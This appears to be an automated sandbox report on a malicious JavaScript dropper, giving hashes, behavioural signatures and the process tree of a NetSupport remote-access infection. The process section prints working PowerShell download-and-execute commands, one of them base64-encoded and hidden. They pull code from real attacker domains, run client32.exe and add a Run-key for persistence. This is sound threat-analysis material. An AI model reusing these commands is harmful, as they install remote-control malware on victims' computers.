Analysis
-
max time kernel
142s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
07-02-2024 09:33
Static task
static1
Behavioral task
behavioral1
Sample
ARS17291729317291729.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ARS17291729317291729.js
Resource
win10v2004-20231215-en
General
-
Target
ARS17291729317291729.js
-
Size
22KB
-
MD5
f11df5cf2e7e9c6b39612f3f60d9e9f2
-
SHA1
d919fe3bd69418f9e96569f9e73b4a1fa1cde9e9
-
SHA256
2770b332ef571a1462e5a38778307106e16ba66dca58717fe40f6f76259b717b
-
SHA512
1629a66eb3f8f48fa15d016995eb26f7b6342420eac8f34fdf42d514db1be5813df7a40f553b63da16b8eb6bde66d35297d23c63cffa252951988a28242e65bf
-
SSDEEP
384:swbhSjLO+uDvTeLoxguxAR02OY4PLRyxag8YvA9DWWRUwuoLljIzPNWHvrHejQlJ:pwLOxvTeLoxguxARGPLRyxag8YvA9DWu
Malware Config
Extracted
https://assime.ca/command.php
Extracted
http://sakaleralo.com/ccea268b-8716-46be-9148-3e614b38a0df.txt
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 23 2124 powershell.exe 25 2892 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 4152 client32.exe -
Loads dropped DLL 5 IoCs
Processes:
client32.exepid process 4152 client32.exe 4152 client32.exe 4152 client32.exe 4152 client32.exe 4152 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\modem_gprs_modules = "C:\\Users\\Admin\\AppData\\Local\\modem_gprs_modules\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2124 powershell.exe 2124 powershell.exe 2892 powershell.exe 2892 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execlient32.exedescription pid process Token: SeDebugPrivilege 2124 powershell.exe Token: SeDebugPrivilege 2892 powershell.exe Token: SeSecurityPrivilege 4152 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 4152 client32.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
wscript.exepowershell.exepowershell.exedescription pid process target process PID 1208 wrote to memory of 2124 1208 wscript.exe powershell.exe PID 1208 wrote to memory of 2124 1208 wscript.exe powershell.exe PID 2124 wrote to memory of 2892 2124 powershell.exe powershell.exe PID 2124 wrote to memory of 2892 2124 powershell.exe powershell.exe PID 2892 wrote to memory of 4152 2892 powershell.exe client32.exe PID 2892 wrote to memory of 4152 2892 powershell.exe client32.exe PID 2892 wrote to memory of 4152 2892 powershell.exe client32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ARS17291729317291729.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -ExeCUtIONPol bYPASS -W hI -eNco QwBoAEQASQByACAAJABlAE4AdgA6AEwATwBDAEEAbABhAHAAcABEAGEAVABhADsAIAAkAEcAMgBmAGYAdwAwAGMAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAawBuAHMAUABVADIAQQA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAawBhAGwAZQByAGEAbABvAC4AYwBvAG0ALwBjAGMAZQBhADIANgA4AGIALQA4ADcAMQA2AC0ANAA2AGIAZQAtADkAMQA0ADgALQAzAGUANgAxADQAYgAzADgAYQAwAGQAZgAuAHQAeAB0ACcAOwAgACQAMwBsAEsAYwBVAEgAWAA9ACcAagBHAGgAVAB5AG8AaQBDAC4AegBpAHAAJwA7ACAAJABYAEYAeABiADMAPQAnAG0AbwBkAGUAbQBfAGcAcAByAHMAXwBtAG8AZAB1AGwAZQBzACcAOwAgACQARABFAGYAZgBJAFMAPQBpAE4AVgBPAEsAZQAtAFcAZQBCAHIAZQBxAFUAZQBzAHQAIAAtAFUAcgBJACAAJABrAG4AcwBQAFUAMgBBACAALQBVAHMARQBiAEEAcwBJAEMAUABhAFIAUwBJAE4AZwA7ACAAJABCAG0ASgBOAGcANQBmAD0AJABEAEUAZgBmAEkAUwAuAGMAbwBuAFQAZQBOAHQAOwAgACQATgBUADYAVgBPAEUAPQAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEALAAgACQAWABGAHgAYgAzACAALQBqAG8AaQBOACAAJwBcACcAOwAgACQAYwBrAGEAdQA4AD0AIgAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEAXAAkADMAbABLAGMAVQBIAFgAIgA7ACAAJABQAHgASQBCAFgAcwBvAEYAPQBbAEMAbwBOAFYARQBSAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAFQAcgBpAE4ARwAoACQAQgBtAEoATgBnADUAZgApADsAIAAkAEgANQBMAHoAawBIAFQAPQAkAFAAeABJAEIAWABzAG8ARgAgAC0AUwBQAGwASQBUACAAJwAgACcAIAAtAEEAcwAgAFsAQgB5AHQARQBbAF0AXQA7ACAAJAAxAFkASwBnAHMAcwBuAD0AJABHADIAZgBmAHcAMABjACsAJABIADUATAB6AGsASABUADsAIABTAGMAIAAkADMAbABLAGMAVQBIAFgAIAAkADEAWQBLAGcAcwBzAG4AIAAtAEUATgBDAG8AZABpAE4AZwAgAEIAWQBUAGUAOwAgAEUAeABwAEEAbgBkAC0AQQBSAEMAaABJAHYAZQAgAC0AcABBAHQAaAAgACQAYwBrAGEAdQA4ACAALQBkAEUAUwBUAGkAbgBBAFQAaQBvAE4AUABhAHQASAAgACQATgBUADYAVgBPAEUAIAAtAGYAbwBSAEMARQA7ACAAUgBJACAAJAAzAGwASwBjAFUASABYADsAIABDAEQAIAAkAE4AVAA2AFYATwBFADsAIAAkAFIAcQBQAHQAUQBkAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAE4AVAA2AFYATwBFADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAATgBlAHcALQBJAFQARQBtAFAAcgBPAFAARQByAHQAeQAgAC0AUABhAFQASAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0AZQAgACQAWABGAHgAYgAzACAALQBWAGEATABVAEUAIAAkAFIAcQBQAHQAUQBkACAALQBwAFIAbwBQAGUAcgBUAHkAVABZAFAARQAgACcAUwB0AHIAaQBuAGcAJwA7AA==3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5512c6cab650bfda6ef2995f6b515ed6f
SHA1fec40abf4f5d74ea7f8828cee83770e423203083
SHA25684871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262
SHA512638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b
-
Filesize
1KB
MD5a2b24af1492f112d2e53cb7415fda39f
SHA1dbfcee57242a14b60997bd03379cc60198976d85
SHA256fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA5129919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
234KB
MD5788c5e3bc18602ba15ad93d6c03a7207
SHA1af86597423f64e6a6dc82ae76207beda512f410c
SHA25661ecfbcc8d66f4b7d876b0193b895d3066487333bac985f90da661432ea12f7b
SHA5120190c33420ed9557e0635db349ba4d04a0fcbcd9f57d09687fe51a7f68a14520bb2fd73ba9fe95da9556efab2d9578dd5da046d7313ed22872a1996f8a2e9455
-
Filesize
202KB
MD593f0e1f715d2494b261c256f3e9bd431
SHA11466546b8167f355f561a636eacf8d70f236ccd7
SHA256c63f9343eaaf29c48e2d5fe00ac0149218d0bf80f55e151e4a07c9e385221622
SHA512ffa75c323432a640790cbca82003ef4cdc36d3785f0e54fe2bf84b8fc1141e462db1082f3ae46ff6d01eef95959a6e1a606b6d9e2f6d1efd37393b8300980b28
-
Filesize
175KB
MD596376583083f19b05b3ea026d643a759
SHA15855e953a8f277f751a2f0e660e3d63b067efb2e
SHA256dd9a42bf02a97990ced074a78c91709e5111c89e80a92b86aa00207f3adf1ba2
SHA512318956260805761e99dfad127c76fd97d920b77f5df055936d546465ba845b5f72525e3a9bd1c2f3afe59d91ae64bb7a0b1a9399a4319589520336e379954548
-
Filesize
259B
MD5866c96ba2823ac5fe70130dfaaa08531
SHA1892a656da1ea264c73082da8c6e5f5728abcb861
SHA2566a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921
SHA5120dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112
-
Filesize
32KB
MD5dcde2248d19c778a41aa165866dd52d0
SHA17ec84be84fe23f0b0093b647538737e1f19ebb03
SHA2569074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166
-
Filesize
664KB
MD5d8c80f23784bb87f4f191ef51c5644c2
SHA1f4dbf9b1b7d25af2f77554701b2b2d87cf0c5714
SHA256ad92fbd28017da5cfe5f441abc16ca72d0ee50680b11396c791c6912ec691bf5
SHA51210b0eb674b39af3d0a795ca83d06465d962a31e17e4ddf4cdda52e3eb3c2065b9c8f91ff4efc1b604857ee935cb89a2124414b092744b3ad202f64fed6071ba8
-
Filesize
1.4MB
MD55820a7b3f84d1465266b80882af2f16d
SHA120a826086b6554050e78e32ddb98de5c40fb8ad4
SHA256a90112014cbf9903059a6f2bfc4aaac34cbc5516ae6d006dfa09275360f90bc6
SHA512beea5508f8a32aa553ff2cb2ec57bef44ebad1846f743fec1169febdd7eb5badcf68afb91dc57899b84aad4d1faf28b32328304bd1583c0e47989dee9cf87fdd
-
Filesize
117KB
MD5a2b46c59f6e7e395d479b09464ecdba0
SHA192c132307dd21189b6d7912ddd934b50e50d1ec1
SHA25689f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1
SHA5124f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916
-
Filesize
641B
MD52cd1a8115b7328756129052384e2eed6
SHA19458e9553d3d1f075ed09a06fda3f36136781704
SHA25602ab893e7d31d7c3b18d27c3c4ef6e056da27cc6ad7efa76b8d4729403a067d2
SHA512df5630c14f1400166ecbf0854a48616c939c0467634c427f8a287edc5c064c0d259b1cec0b02ae7aa31e21d1609ff31f4e11285160323f2c24fcb02de4e20455
-
Filesize
264KB
MD5b81466c844868a5cc3f51441dba0749c
SHA17838d8271450e95b5fa10a9f50039f1f7dc37931
SHA2566549f8fb70689f44b11340dc7055f0c71f8009589f6d53e77e51f678a104e2de
SHA512c89c72db647886a7d0f32a7eed62a01f9babe78c7902cb16f241898fb83637ac51016d654eb5b3983bdbe6848c9721972ae27ce994b3dc5866f87c17eb4e24b1
-
Filesize
18KB
MD5a0b9388c5f18e27266a31f8c5765b263
SHA1906f7e94f841d464d4da144f7c858fa2160e36db
SHA256313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA5126051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd